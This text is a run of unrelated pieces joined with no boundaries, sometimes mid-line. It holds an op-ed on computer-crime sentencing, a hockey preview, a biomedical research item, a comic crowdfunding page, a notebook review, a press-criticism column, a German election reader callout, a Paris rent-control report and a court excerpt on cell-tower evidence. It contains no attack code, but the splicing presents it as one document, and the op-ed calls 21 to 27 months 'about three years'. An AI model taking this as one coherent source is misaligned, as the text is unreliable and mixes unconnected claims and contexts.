The panic has even spread to how crime is investigated. To prevent digital contraband from coming into the United States, border officials can now search electronic devices without any suspicion of wrongdoing. To get to illicit files on a seized computer, the government can force you to decrypt your computer and threaten you with jail for noncompliance. To get information about one customer, the FBI can demand a service provider turn over the key that unlocks communications from all of the service’s customers. And let's not even get started on what the NSA has been up to.
The Problem of Excessive Punishment ———————————–
There’s no doubt that there are good intentions here: to catch bad guys, keep people safe, and preserve some order in a chaotic and changing world. But this “cyber panic,” particularly with the excessive and aggressive use of the CFAA, comes with a real consequence: locking up people in prison for years.
Take the case of Matthew Keys, a former social media editor at Reuters, charged with violating the CFAA in federal court in Sacramento. He allegedly turned over the username and password of a server belonging to the Tribune Company to members of Anonymous, who made changes to the article of a headline in a Los Angeles Times story online. Among other changes, the headline was changed from “Pressure builds in House to pass tax-cut package” to “Pressure builds in House to elect CHIPPY 1337.” It seems like a clear-cut case of vandalism, a prank that caused some damage but little other harm.
Under California law, physical vandalism – like spray painting graffiti on a building – can be punished as either a misdemeanor or a felony, with probation available for both types of charges. If probation is granted, the longest sentence a defendant can serve as a condition of probation is one year in county jail.
But look at the punishment awaiting Keys. He didn’t get charged with a misdemeanor; he got indicted on three felony charges, for which he faces a harsh prison sentence. No, he won’t get anything close to the 10-year maximum. But a cursory calculation of his potential sentence under the federal sentencing guidelines suggest he’s looking at a sentence between 21 and 27 months – about three years of his life – if he decides to go to trial and loses.
Here are more details on how such sentencing works:
...Federal sentencing is based on two things: the seriousness of a crime and the person’s criminal history. The two factors are plotted on a table, with the y-axis a scale of 1 to 43 “levels” that determines the seriousness of a crime, and the x-axis a scale of I to VI that measures criminal history. At sentencing, the judge must determine both scores, plot them on the table, and determine the sentencing range in months, which the court can follow or disregard at its own discretion....Someone like Keys, who has no criminal history, is in criminal history category I. The starting point for most CFAA crimes is level 6, which is low on the scale but can quickly increase....Assuming the allegations in Key’s search warrant are correct, the Tribune company spent $17,650.40 to fix the damage, resulting in an increase of 4 levels for causing more than $10,000 and less than $30,000 in damage. Because Keys is charged with causing damage to a computer, he receives another 4 level increase. And because he likely abused a position of trust, he receives another 2 level increase, for a total offense level of 16 – which has a sentencing range between 21 and 27 months for a person in criminal history category I. (That places Keys in “Zone C” of the Sentencing Table, which means the Guidelines don’t authorize a grant of probation, though the judge could impose probation if she wanted to.)
As a country and a criminal justice system, we’ve been down this road of excessive punishment before: with drugs. Prosecutors and lawmakers need to take a step back and think long and hard about whether we’re going down the same road with their zeal towards computer crimes.
[#contributor: /contributors/593272c82a990b06268aaae1]|||Hanni Fakhoury is a former federal public defender and a current Staff Attorney at the Electronic Frontier Foundation (EFF) who focuses on criminal law, privacy, and free speech litigation and advocacy. Follow him on Twitter [@hannifakhoury](https://twitter.com/HanniFakhoury).|||
For many years, there was a radical disparity in how federal law treated crack and powder cocaine. A person who possessed 5 grams of crack cocaine could be charged with a felony. But it took 500 grams of powder cocaine to get the same felony punishment. This 100-to-1 ratio was born in the 1980s, when Congress was concerned that crack – predominantly used in urban areas by people of color – was becoming an epidemic and a violent one at that.
This extreme disparity only ensured that a disproportionate amount of people of color ended up in prison. Receiving little rehabilitation while incarcerated and struggling to find work or otherwise reintegrate into society once released, convicts would return to crime, get caught, and be sentenced as a recidivist. That meant a longer jail sentence and the continuation of a destructive cycle.
But over the last few years, there has been significant progress towards narrowing this gap. In 2010, Congress passed – and President Obama signed – legislation that reduced the 100-to-1 ratio down to 18-to-1. Attorney General Eric Holder upped the ante this past summer, announcing a series of broader policy reforms that would work to reduce harsh drug sentences by giving prosecutors flexibility to avoid charging a defendant with crimes that carry mandatory minimum prison sentences. And at the end of last year, President Obama pardoned thirteen people and commuted the sentences of eight prisoners who were sentenced under the old ratio and were therefore serving long sentences for crack cocaine convictions.
These reforms took over 20 years. But as technology marches faster than the slow pace of legal change, we don’t have that kind of time to apply the lessons learned from the failed "war on drugs" experiment to the growing wave of computer crime prosecutions.
And It Doesn't Even Work ————————
The government’s mindset is that technology and the internet can wreak havoc. Disseminating the login credentials of a powerful media company to vandalize a few websites, for example, has the potential to cause more damage than spray-painting graffiti on a highway sign.
That is undoubtedly true. But will aggressive, excessive punishment really deter others here? This country's experience with the war on drugs suggests the answer is a resounding no.
>We shouldn’t let the government’s fear of computers justify disproportionate punishment.
The problem is pronounced with much of the politically motivated online crime that has splashed the headlines. As a generation of people who grew up plugged in and online realized there is no way to voice their complaints within the mainstream political establishment, they decided to take their protests to the medium they know best. Harsh punishment is only going to reinforce and harden that generation’s pessimism towards the government.
This is not to say that “anything goes” online or that crimes should go unpunished. But we need to question whether locking people up for long periods of time – without addressing the root concerns about concentrated political power, civil liberties abuses, and transparency – will have the effect of deterrence or worse yet, a hardened cynicism that perpetuates the endless cycle of punishment. That’s true of even non-politically motivated cybercrime, or really, all crime... whether it involves a computer or not.
* * *
There may be hope yet.
Recently, 11 members of the “PayPal 14,” a group of individuals affiliated with Anonymous who DDoS’d PayPal in 2010 to protest its refusal to process donations to Wikileaks, pleaded guilty to felony CFAA charges in federal court. But their sentences were put off for one year (rather than receiving tough prison sentences). If the defendants stay out of trouble during that time, the felony convictions will be dropped when they come back to court, and they’ll be sentenced to misdemeanors instead. Most of the defendants will avoid jail time, and will have to pay $5,600 to PayPal in restitution.
But for most of these defendants, the experience of going through a federal criminal prosecution is going to be enough to deter them from doing something similar again. Not to mention the financial penalties and misdemeanor convictions. And for those who aren’t deterred? The punishment will appropriately increase the next time. There’s just no need to excessively punish all wrongdoers.
We shouldn’t let the government’s fear of computers justify disproportionate punishment. The type of graduated punishment in the Paypal 14 case is routine in low-level, physical-world criminal cases brought in state courts throughout the country; it can work with computer crime too.
It’s time for the government to learn from its failed 20th century experiment over-punishing drugs and start making sensible decisions about high-tech punishment in the 21st century. It can’t afford to be behind when it comes to tech, especially as the impacts of "cyber-panic" on users – beyond hackers – are very real.
Editor: Sonal Chokshi @smc90Match-Up:
The Canadiens (15-5-4) continue their road trip in Tampa Bay Saturday night when they take on the Lightning (10-13-1). The game starts at 7:00 and will be on CBC and RDS.
This is the second of three matches between the Habs and the Bolts. The last time these teams met, Tampa erased Montreal’s 3-goal third period lead but the Canadiens squeaked out a shoot out victory. David Desharnais scored the shoot out winner and Carey Price earned stops against Victor Hedman, Martin St-Louis and Steven Stamkos in what was the first in a run of 11 consecutive games with a point for Montreal.
What to Watch:
Brandon Prust earned his first 3-point night of his 8-season career Thursday night against the Canes, he also improved to a team best +13 plus/minus rating. Prust, who signed with the Habs for 4 years with last summer, also leads the NHL with 81 penalty minutes this year, he’s given Montreal’s game a boost in several areas.
PK Subban picked up his fourth power play goal this season and added an assist as well Thursday night bringing him up to 6 goals and 15 points in 18 games. Subban, who led the league in minor penalties for the past two seasons by averaging more than a minor penalty every second game, has been more disciplined this season with just 6 minors so far.
Steven Stamkos leads the league in goals with 18 this season, he’s second in points with 35 behind only Sidney Crosby. Marty St. Louis has 25 assists, good enough for second in the league. The Lightning as a team have 82 goals for, behind only Pittsburgh with 85. But as impressive as the Lightning are offensively, the team is still 3 games under.500 and have lost 6 of their last 7 games.
What’s at Stake:
Montreal enters Saturday with a 1-point lead over the Bruins for first place in the East, but by the time they hit the ice, Boston may have already overtaken them, they play the Flyers at 1:00. With half the season in the books, the Canadiens have been impressive this year, but teams like the Bruins and Penguins are still hot on their heels. The Bolts have struggled recently and the Canadiens will want to take advantage of that to help pad their lead in the standings.
Who’s Out:
Yannick Weber, playing in just his second game of the season Thursday, suffered a lower body injury which kept him out of the third period. Defenseman Greg Pateryn was called up from Hamilton immediately after the game. Rene Bourque (concussion) and Rafael Diaz (concussion) are both out, as is Petteri Nokelainen.
The Bolts are missing former Habs Mathieu Garon (lower body) and Benoit Pouliot (upper body). Defenseman Mattias Ohlund (knee) hasn’t played since the 2010-2011 season and may have played his last career game. The veteran is under contract until 2015-2016.
What Else:
The Canadiens have been holding onto the Eastern conference lead despite playing in the NHL’s toughest division. There are 4 teams in the Northeast with more than 30 points so far this year, no other division has more than one team at that plateau and the Southeast and Northwest divisions don’t have any teams with that amount.
Montreal, Boston, Toronto and Ottawa are currently occupying 4 of the top 6 Eastern conference playoff seeds. Only the Buffalo Sabres are out of the playoff mix in the division, each other team is at least 5 wins over.500 at the midway point of the season.
Be sure to tune into the Montreal Hockey Talk Pregame Show an hour before the puck drop and the Post Game Show 5 minutes after the final siren.A team of researchers from UCLA and the University of Michigan has developed a material that could help prevent blood clots associated with catheters, heart valves, vascular grafts and other implanted biomedical devices.
Blood clots at or near implanted devices are thought to occur when the flow of nitric oxide, a naturally occurring clot-preventing agent generated in the blood vessels, is cut off. When this occurs, the devices can fail.
Some researchers have sought to solve this problem with implantable devices that gradually release nitric oxide, but their supply of the agent is necessarily limited. Instead, the UCLA–Michigan team focused on an ultra-thin coating for the devices that acts as a chemical catalyst, generating clot-preventing molecules that can mimic the function of blood vessels.
The researchers suggest this could offer a long-lasting and cost-effective solution to the problem of these blood clots. The study was published online this month in the journal Nature Communications
For the device coating, the team used sheets of graphene, a one-atom-thick layer of graphitic carbon, into which they integrated two components — haemin and glucose oxidase. Both work synergistically to catalyze the production of nitroxyl, which can be used inside the blood like nitric oxide, although it contains one less electron. Nitroxyl has been reported as being analogous to nitric oxide in its clot-preventing capability.
"This may have interesting applications in a wide range of biomedical device coatings," said Teng Xue, the study's lead author and a UCLA graduate student.
"This work demonstrates how the exploration of nanomaterials, combined with knowledge in chemical catalysis and biochemistry can lead to unique functional structures benefiting biomedical research and beyond," said principal author Yu Huang, an associate professor of materials science and engineering at the UCLA Henry Samueli School of Engineering and Applied Science. "We will continue to explore molecular assemblies and conjugated catalytic systems as analogs to the functional proteins that can facilitate chemical transformations under mild conditions, like nature does."
Additional authors of the research included Mark E. Meyerhoff, professor of chemistry at the University of Michigan; UCLA graduate students Bo Peng, Si Yang, Min Xue, Xing Zhong, Shan Jiang, Sergey Dubin, Chin-Yi Chiu and Lingyan Ruan; UCLA postdoctoral scholar Yongquan Qu; and professors Jeffrey Zink, Richard Kaner and Xiangfeng Duan of the UCLA Department of Chemistry and Biochemistry. Huang, Duan, Kaner and Zink are all members of the California NanoSystems Institute at UCLA. Duan holds UCLA's Howard Reiss Career Development Chair in Chemistry and Biochemistry.
The research was supported by grants from the National Institutes of Health.About
Super is an action-comedy superhero comic that loves to lampoon anything and everything about the superhero genre, but is not so much of a spoof that it forgets to be an actual action adventure as well. We like to say it's "The Venture Brothers" meets "Astro City". In a world that is as packed to the brim with superhumans as a Marvel or DC universe, there are so many costumed weirdos that being "super" has become commonplace. With literally hundreds, if not thousands, of people with extraordinary powers running around, it's a struggle to get noticed. (READ MORE HERE)
Here is a link for a preview of the first five issues: http://www.super-comic.com/preview_pdf/SUPER_retailerPreview_1-5.pdf
The hottest superhero comic in the universe is a product of Kickstarter? Believe it!
In 2012, a few ultra-talented, determined artists made their dream superhero comic, Super!, come true. They not only met their goal in two successful Kickstarter campaigns, but the book they created was lightning-in-a-bottle, thrilling comic critics and fans across the globe. Now, the dream continues as we push towards our goal of creating the next six issues of Super! and cramming them into one comprehensive volume.
We're more determined than ever to reach that goal, producing stunning art books, video games, and toys in order to reward you, wide-eyed comic book lover, for helping us continue our journey!
Our reward packages are designed to thrill both fans looking to get on board the Super! train for the first time and hardcore, battle-hardened warriors of the Super! army, so check ‘em out - and if you get confused, click here for a comprehensive chart, or send us a message.
For the database of available ORIGINAL PAGES, click HERE.
You can ADD ON up to TWO (2) additional ORIGINAL PAGES to any $250+ pledge. Those add-on pages are $100 apiece!
MAKE SURE to scroll down to the bottom left to find out about our STRETCH GOALS!! ;)
To clarify: The $50,000 goal for this project is to pay for the CREATION and printing for six issues of the comic (Volume Two). The game, toys, and art books' production costs are negligible - even without them, our funding goal of $50,000 would remain the same, because that is the production budget for the entirety of Volume Two! 100% of the money remaining after printing costs is going to the artists for their world-class work. The other rewards were added only as incentives for more people to back us! :) (i.e: they're free!)
Onward, to victory!
Don't Die!I finally have the great triumvirate of dot grid notebooks at hand to do a side-by-side comparison: the much-loved Leuchtturm 1917 A5, the Rhodia and the Baron Fig. While the editions aren’t entirely identical, they are awfully close and the paper is all dot grid and each brand’s “flagship” size. The Rhodia is in the Rhodiarama softcover version with a metallic silver cover ($18.95). The Leuchtturm 1917 is in the 100th Anniversary metallic silver edition ($25.50) and the Baron Fig is in the standard light grey book cloth in their new Plus size ($22). Color-wise, the light grey book cloth on the Baron Fig is almost the same color as the silver of the Rhodia and the Leuchtturm. Freaky!
I also included the standard Flagship-sized “Metamorphosis” edition ($20) for size comparison. The Baron Fig Flagship is ever-so-slightly shorter than A5 giving it slightly squarer proportions.
All the books open flat, lay flat and have good stitched signatures that seem to hold up pretty well to daily use. They are well-built and look good. I always feel like I get my money’s worth when I buy from any one of these companies. The materials all look and feel high-quality.
Both Rhodia and Leuchtturm include gusset pocket in the back and elastics to keep the books closed. Over the years, I tend to loop the elastic over the inside back cover most of the time unless I’m trying to keep stuff from falling out. Baron Fig is the least “adorned” in its simplicity.
All the notebooks include ribbon bookmarks. The Leuchtturm 1917 is the only notebook that has two ribbon bookmarks and they are the longest and easiest to use to open the notebook. This is a big thing with me. The short ribbon bookmarks I find kind of pointless. They look nice in a photo but they don’t do anything. (For an example of what I mean by ribbon bookmarks being too short, check out Boho Berry’s video from the 23:30 marker. I’ve kindly marked it for you so you can just watch the minute or so I am talking about.) I have the same pet peeve.
Both the Rhodia and the Baron Fig notebooks have short ribbon markers. The Baron Fig ribbons are thick cotton ribbons that have finished ends so they don’t fray and colors that pop and coordinate with their design themes but they are stingy short. Rhodia uses their signature orange in satin with finished edges as well but the ribbons are still a bit too short to be really usable.
Now for the true heart of the matter. The paper and the dots. I’ve talked independently about the paper for all these notebooks before. Rhodia paper is epically fountain pen friendly. Leuchtturm paper is decently fountain pen friendly and Baron Fig and upped its game for fountain pens to be on-par with Leuchtturm, maybe a tiny bit ahead. So, if I was grading on paper quality alone, Rhodia would be a gold medal winner. But there are the other factors to consider…
Looking at the dots, they are all spaced at 5mm. The Leuchtturm 1917 has the smallest dots. The Baron Fig dots might be a bit lighter but they are larger. And Rhodia’s dots are the darkest and most obtrusive. When you see them side-by-side, its really noticeable.
If you write with a wide pen and very dark ink, the dots on the Rhodia may not be an issue for you but if you write with light ink or have tiny penmanship like I do, it might be disruptive. I find the Leuchtturm the easiest to use, followed by the Baron Fig. I prefer using Rhodia blank paper best as I find their ruling lines, graph and dots to be too dark for me.
Very light show through occurs with the Leuchtturm 19171 and of course there is no show through with the Rhodia.
For the most fountain pen friendly notebook, Rhodia is still where its at but the dots will get ya. However, the more fountain pen friendly your paper is, the longer your dry time will be which is not always optimal for those on-the-go notes and lists.
For simplicity, Baron Fig has the dot grid notebook locked down. With three sizes in simple light grey or dark grey book cloth, Baron Fig has gelled down the formula for the notebook into its perfect essence. The paper is good and the dots are not distracting. I have a love/hate relationship with the book cloth. It looks great but if I so much as think about my cats, the covers collect cat hair. If you want any “extras” like pockets or elastic closures though, you’ll have to look elsewhere.
But for all-around perfection and usability, Leuchtturm 1917 reigns supreme. Available in a multitude of colors, hardcover or softcover with elastic, pocket and TWO FULLY-FUNCTIONAL ribbon bookmarks, acceptable paper for most writing tools, numbered pages and an index, the Leuchtturm 1917 is the Swiss Army Knife of notebooks.
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EmailThe White House press corps at a news briefing, January 23, 2017. (Reuters photo: Kevin Lamarque)
Massive numbers on both sides are already prepared to shout and donate and propagandize.
What does it take to be a journalist in the age of Trump? Do the opposite of what happened last week.
On Thursday, Peter Alexander, national correspondent at NBC News, reported (on Twitter, where most reporting happens now) that the U.S. Treasury Department had quietly eased sanctions to allow U.S. companies to do business with the Russian FSB; 40 minutes later, he noted that it was a “technical fix” planned under the Obama administration. The first tweet was retweeted more than 6,200 times, the second a piddling 247.
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This has been the pattern of late. Last Saturday, following Trump’s controversial executive order on refugees, CNBC’s John Harwood reported that the Department of Justice had no role in evaluating the order (3,000+ retweets); one hour later, he issued a correction (199). Similarly, Raw Story cited American Foreign Policy Council scholar Ilan Berman to suggest that there was “no readout of Trump-Putin call because White House turned off recording.” The tweet linking to that story has 9,700 retweets, and travel blogger Geraldine DeRuiter’s outraged tweet — “They. Turned. Off. The. Recording. When. He. Called. Putin. IF OBAMA HAD DONE THIS THE GOP WOULD HAVE HAD HIM TRIED FOR TREASON.” — has been retweeted nearly 30,000 times. Berman took to Twitter to explain that he didn’t know “for a fact” that the recording had been turned off; it was simply “conjecture.” Twenty-seven retweets.
Care for more? There was a great deal of Supreme Court–related misinformation. Jeff Zeleny, CNN senior White House correspondent, reported that the White House had set up Donald Trump’s Supreme Court announcement as a “prime-time contest,” noting identical Twitter pages for potential appointees Neil Gorsuch and Tim Hardiman (1,100+ retweets); a half hour later, he noted that the pages were in fact not set up by the White House (159 retweets).
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Off of Twitter, NBC News reported that Gorsuch, Trump’s nominee, “opposed campus military recruiters” in an op-ed written for Columbia University’s student newspaper in February 1987. It wasn’t true. The U.K.’s Daily Mail reported that Neil Gorsuch founded a “Fascism Forever” club at his Jesuit high school. That wasn’t true, either.
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And there was still more. Reuters reported that Trump was responsible for the SEAL-team raid in Yemen that left an American soldier dead, and even approved the operation “without sufficient intelligence, ground support, or adequate backup preparations.” It almost certainly wasn’t true.
The Associated Press reported that Donald Trump “warned in a phone call with his Mexican counterpart that he was ready to send U.S. troops” into the country. A spokesman for Mexican president Enrique Peña Nieto immediately decried the report as “absolutely false,” and U.S. officials explained that the comments were intended as a joke.
Half a dozen sites reported that Donald Trump changed the name of Black History Month to “African-American History Month.” False.
But even if members of the Trump administration are working to undermine the very notions of ‘fact’ and ‘truth,’, the situation is not righted by the journalistic corps’s doing the same.
Again: This was all within the last week.
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Journalists, citing Donald Trump’s own serial fabulism, have lamented that journalism is uniquely difficult in the era of Trump. It’s not. Journalism, as a trade, is the same now as it was under Barack Obama as it was under George W. Bush. The basic rules still apply. When you make a claim, have as many sources as possible at hand to support it. Name your sources, as often as possible. If you do not have reliable evidence for a claim, don’t make it. If you don’t have a firm grasp of your subject, consult an expert. Be fair-minded. Be honest.
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The above does not require “skepticism.” It does require prioritizing what is true over what is exciting. Anyone with a high-school diploma has been instructed in how to read with a basic amount of discrimination — to note the difference between “primary” and “secondary” sources, to evaluate the credibility of an assertion. We should be able to expect journalists to exercise at least this much discernment.
There is a theory, which has mustered considerable assent, that Donald Trump — or at least Steve Bannon, Kellyanne Conway, and Sean Spicer — are working to undermine not simply the left-leaning press but the very notions of “fact” and “truth,” so that they can wield power more effectively, shielded by a nationwide epistemological fog. Perhaps this is so. But even if it is, the situation is not righted by the journalistic corps’s doing the same.
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This country has plenty of activists, in government and out of it. Massive numbers of people on both sides are prepared to march and shout and donate and propagandize on behalf of their preferred causes. We don’t need more activists. We need journalists.If you live in Germany, we want your views ahead of the federal election later this month, in which Angela Merkel seeks re-election as chancellor
Germany heads to the polls on 24 September for federal elections. Chancellor Angela Merkel is seeking a fourth term, with her center-right Christian Democratic Union expected to lead a new coalition.
Could Germany make a new 'pizza connection' if Merkel signs up Greens? Read more
All three of Merkel’s terms in office since 2005 have been coalition governments: two “grand coalitions” with the centre-left Social Democrats (SPD) and one with the pro-business FDP.
It has been a quiet lead up to the election, with Merkel doing her best to maintain a business-as-usual, low-key approach. But after unexpected results in French and British elections, and with an unprecedented six parties currently polling enough to allow them seats in the Bundestag, the exact make-up of Germany’s next government is anyone’s guess.
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We want to hear from people in Germany ahead of the election. Will you be voting, and if so, for which party? What do you think are the main challenges facing the country, and which issues will be the most important ones when deciding your vote? Who do you expect to win, and which parties would you like to see in a coalition?
You can take part by filling out the form below. We’ll use a selection of your responses in our reporting of the election season.Joseph Bamat, FRANCE 24 | A view of the Eiffel Tower and Paris skyline in June, 2015
Rent control regulations on all new or renewed leases went into effect in the French capital on Saturday as President François Hollande tried to make good on one of his key 2012 campaign promises.
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The law seeks to cap rent increases from one lease to the next in the country’s largest cities as part of a sweeping housing reform, known in France by the acronym “ALUR”.
Rent in Paris has soared by 42 percent in the last 10 years, according to official data.
An OpinionWay poll published in June showed that 75 percent of French people supported the price-capping measure, although it has met with harsh criticism from estate agents and landlords.
So far the law is only being enforced in Paris, with the government making the controversial regulation optional in other French cities.
The Paris police prefecture has established a maximum rent – measured in euros per square metre – based on the date of construction and location of residences.
The measure could decrease the rent for around 60,000 dwellings in the capital in the coming years, according to business daily Les Echos. It could also raise rents for around 25,000 homes, the French newspaper added.
Legal fight brewing
Estate agent and landlords' associations have denounced the law, vowing to drag officials that wish to implement it into legal battles.
France’s National Federation of Estate Professionals (FNAIM) said the law “constricted” the housing market and would dissuade potential buyers from investing. It said it could file a suit with France’s Council of State.
Meanwhile, estate agents in Lille have reportedly blocked efforts to apply the law in the northern French city by withholding housing and rent data from authorities.
Local governments need the information to establish the average rent for a dwelling in a city and a pricing scale.
Only two other French cities, La Rochelle and Grenoble, are considering establishing rent controls similar to Paris.
“Housing in France is 50 percent more expensive than in Germany, it is a burden on families and limits their purchasing power" Grenoble Mayor Eric Piolle told France Inter radio this week.
Other European countries, including in Germany, Sweden, the Netherlands and Switzerland already implement similar rent control laws.Obs |
to Lake Charles, it would go all the way back over to where that sector ends, right,—
A: Out—
Q:—or it could?
A: Out this way, yes.
Q: Yes, sir.
A: Sure.
Q: All right. From 3:08, did—no, scratch that. Back when you said 30—no, 28 minutes?
A: Twenty-eight minutes.
Q: That was timed from where?
A: From right here, from Jerry's Marine.
Q: All right. So, there's some time in that 28 minutes that it would have taken to get from Jerry's Marine to the outer edge of that sector, correct?
A: Yeah, using the same mapping software that I utilized when I did this, I checked. And to get from about Jerry's Marine up this road and out on Interstate 10 to about this approximate geographical area would take about six minutes.
Q: Okay. So, the six minutes—if the call would have came in at 3:08, then it could be at the end? It would be at the end or somewhere in that particular area that you talked of?
A: Well, again, we don't know where the phone was, but if the phone was towards the outskirts of the sector out here on Interstate 10 in this geographical vicinity, sure.
Q: All right. And did you run the mapping software on this area to see from 30—I mean, from that particular area how long would it take to get to the murder scene?
A: I believe I checked from the—that location to being able to get beyond the pontoon bridge.
Q: Okay. And what was that?
A: Twenty-two minutes.
Q: Okay.
A: Going the speed limit.
Q: So if at 3:08 you turned that way and you added 22 minutes, that gets you there at 3:30?
A: 3:30.
Q: Prior to the time that pontoon bridge opens?
A: It is possible, if going the speed limit, you could have gotten there before the—before the bridge opened. Now, if you were going faster, then you could—even five minutes, five miles an hour over the speed limit, you could have gotten there a lot—a lot sooner than the bridge opening.
Q: So, having this bridge opening really doesn't affect your opinion, does it?
A: No. It doesn't mean anything.
As for the two-second call made from the victim's phone at 3:44 p.m., Agent Shute testified that that call could have been a “pocket dial,” a misdial with a quick hang-up, a phone call that quickly lost signal, or any number of things. When asked if the phone could have been thrown into water while it was on, Agent Shute replied, “If the phone was connected to—for a signal and then dropped into the water or thrown into the water, the call signal would terminate immediately.” Agent Shute testified that he did not believe the victim's cell phone was found at the crime scene. Finally, Agent Shute opined how long it would take for a person to travel from the murder scene to the AAA Cleaners and Albertson's in Lake Charles. Agent Shute opined that the drive time was approximately twenty-three minutes. Noting that the Defendants were seen at AAA Cleaners at 4:22 p.m., Agent Shute testified that there was enough time for the Defendants to make it from the crime scene to the cleaners if they were traveling at 3:50.
In its case in chief, the defense offered its own communications expert, John Minor. Mr. Minor opined that Agent Shute's report was biased in several areas. Mr. Minor testified that “cell sites or cellular antennae range from 100–meter coverage in what's called a picocell in a shopping mall to over several thousand meters.” Coverage on an interstate, Mr. Minor testified, could be up to forty miles. When asked to explain the difference between live tracking and historical cell site analysis, Mr. Minor stated that live tracking is highly accurate. According to Mr. Minor, in live tracking, other location techniques are used. The accuracy of the location technology used in this case, historical cell sector analysis, was explained by Mr. Minor as follows:
Well, the accuracy of this technology is based upon the radiation footprint of the cell site. So, you have a cell site in some cases that have a capability to communicate at perhaps, as that Hackberry tower, so-called, at 8, 12 miles perhaps, and maybe on an interstate highway, a cellular tower may be communicating at 20 or 30 miles.
In town in a suburban or more and more densely urban area, the cell sites are closer together, and so the radiation footprint becomes smaller. So, the actual working range of the cell site becomes smaller. So, this thousand meters plus is just a number. It could be—it could actually be lower than that, if it were a piocell—one of the little cells inside a shopping mall, for example. It might be accurate within a hundred yards. But in this case we're talking about cell sites that range from basically about 2 miles—just thinking about the arrangement here in town, probably 1 to 2 miles out to 10 to 15 miles working range and accuracy.
Mr. Minor disagreed with Agent Shute that the cell phone controls which tower it uses. According to Mr. Minor, the carrier network, not the phone, determines the cell site to which the phone registers. Mr. Minor explained further:
Well, the neighbor cells concept is, I think as Special Agent Shute described, some stacking and racking. Your cell phone actually monitors and remonitors every 6 to 12 seconds the visible radio signal from cell sites in the vicinity around your handset. When you switch on your handset, it immediately begins to gather information and will register to the highest quality signal that it can locate that the carrier network will allow it to.
Although a cell phone typically attempts to seek the strongest or best quality signal in most instances, there are many factors that will affect how the cell phone actually registers on the network. Thus, Mr. Minor stated, it is “not always a sure thing that your handset will register to the nearest cell site or strongest signal.” Some of the factors that could affect the cell site to which the handset registers are “heavy traffic loading,” “network operating conditions, cell site maintenance,” “radio frequency in use,” “antenna array configuration,” “geography and topographical features,” and “interference factors.” According to Mr. Minor, Agent Shute did not consider some of these factors in his report. In fact, no maintenance records were obtained in this case. Thus, there is no indication in Agent Shute's report that he consulted the maintenance records “to know whether or not the system was the same the day he performed the test as it was whenever these cell data records he looked at were generated.
Mr. Minor also disagreed with Agent Shute that weather is not a factor that should be considered. Weather, Mr. Minor testified, affects the “network operating condition.” For example, cellular networks can experience “rain fade” during heavy rain storms, causing the signal to fail to propagate through the rain. The person using the cell phone would not notice, however, because the cell phone will reselect to another tower. According to Mr. Minor, lightening can also cause tremendous problems. Finally, Mr. Minor explained what happens when a cell site experiences problems:
[I]f some or many of the cell sites were experiencing outages, either one sector or an entire site blinking out, the network would expand to fill the voids, and the working range would extend, and your handset might actually be in another geolocation.
Mr. Minor also testified that if the population in an area decreases because of a hurricane, for example, fewer subscribers will be in a geographical area, resulting in less of a load on that segment of the network. In Mr. Minor's opinion, the working range of the Hackberry tower extended ten to twelve miles rather than the eight miles estimated by Agent Shute. Mr. Minor testified that it is entirely possible for someone to be on the outer edge of the twelve mile range and have the Hackberry tower pick up his cell phone call. Mr. Minor further testified that a shift change at one of the refineries along Big Lake Road could cause a surge in call traffic. Such a surge could cause a tower to be used that would normally not be used. Thus, Mr. Minor stated, just because a phone “pings” off of the tower in Hackberry does not mean the person is in Hackberry.
The airport tower, Mr. Minor testified, is a little over twelve miles from the Hackberry tower. The Hackberry tower frequencies, Mr. Minor testified, actually reach the airport tower. Thus, Mr. Minor opined, someone could be south of the Country Club Road area in South Lake Charles and still be picked up by the Hackberry tower depending on certain conditions. Mr. Minor testified that it is possible that Defendant–Saltzman might have “pinged” off of the Hackberry tower even though she was far north of where Agent Shute estimated her to be. Additionally, Mr. Minor testified that when looking at the accurate facts from the tower areas, a more possible explanation would be that Defendant–Davis was in her own neighborhood when she made the 3:50 p.m. call. Furthermore, Mr. Minor testified, Mr. Shute's theories were “really ․ mess[ed] up” by the fact that the road was shut down for sixteen minutes by the opening of the pontoon bridge. Finally, Mr. Minor concluded that this type of analysis is a “very inexact process.”
On cross-examination, Mr. Minor testified that he did not perform any testing himself. Mr. Minor also testified that he did not know whether a shift change actually took place at the plants on Big Lake Road. Additionally, Mr. Minor did not know whether there were any problems with the networks when this crime occurred nor what type of cell-site maintenance was transpiring. As for his testimony that Tower 940's coverage extends twelve miles, Mr. Minor testified that he did not go out and test or measure anything. Thus, his testimony is simply an estimate. Finally, Mr. Minor testified that he has no idea of the population in Hackberry, Lake Charles, or Sulphur.
Background Information About Victim and Defendants
Justin Little, Defendant–Davis' son, knew of the victim's affair with Fannie Dietz because Justin worked with the victim for Union National in Lafayette. According to Justin, the victim would stop to play video poker on the way to work in the mornings and sometimes on the way home. The victim's video poker playing, Justin testified, escalated in the six months prior to his death. Justin knew that his mom, Defendant–Davis, also gambled. John Nelson, an employee of KD's Diner in Lake Charles, recognized Defendant–Davis as being a continual customer at the video poker machines in the few days preceding July 11, 2009.
Justin also testified that Defendant–Davis was married to Justin's dad, Andrew Little, when Andrew died in a car accident in 2008. Andrew and Defendant–Davis had been separated since 2000, but Defendant–Davis stayed legally married to Andrew so that she could continue to carry Andrew on her medical insurance. According to Justin, Andrew could not work because of a bad back, and it would have been almost impossible for him to obtain medical insurance. Justin knew that Defendant–Davis carried life insurance on Andrew, but Justin did not know the value of the policies or what happened to the money from the policies. Finally, Justin was asked about a recorded conversation he had with Defendant–Davis while Defendant–Davis was in jail. The recording was later admitted into evidence and played for the jury. During the conversation, Defendant–Davis told Justin that there were people in jail with “way higher bonds” than her that didn't even kill anybody. When asked about the context of that statement, Justin explained:
We talked about me getting a haircut, a few other, you know, small things, and then I asked her if—I asked her if anybody had a higher bond than her and I also asked her jokingly if she was the hardest criminal in jail, which we can look at her and make that assessment, and I believe—you know, it was all in good fun and stuff and we were joking and she said, well—I believe she said to the extent that they got people with higher bonds that didn't kill anybody, which we were just talking about her arrest. We weren't talking about, you know, her actually doing anything or to that extent.
Justin testified that Defendant–Davis jokingly made the statement and was not confessing to murder. Justin stated that he asked his mother “straight up” if she had anything to do with the victim's murder, and she said “no.”
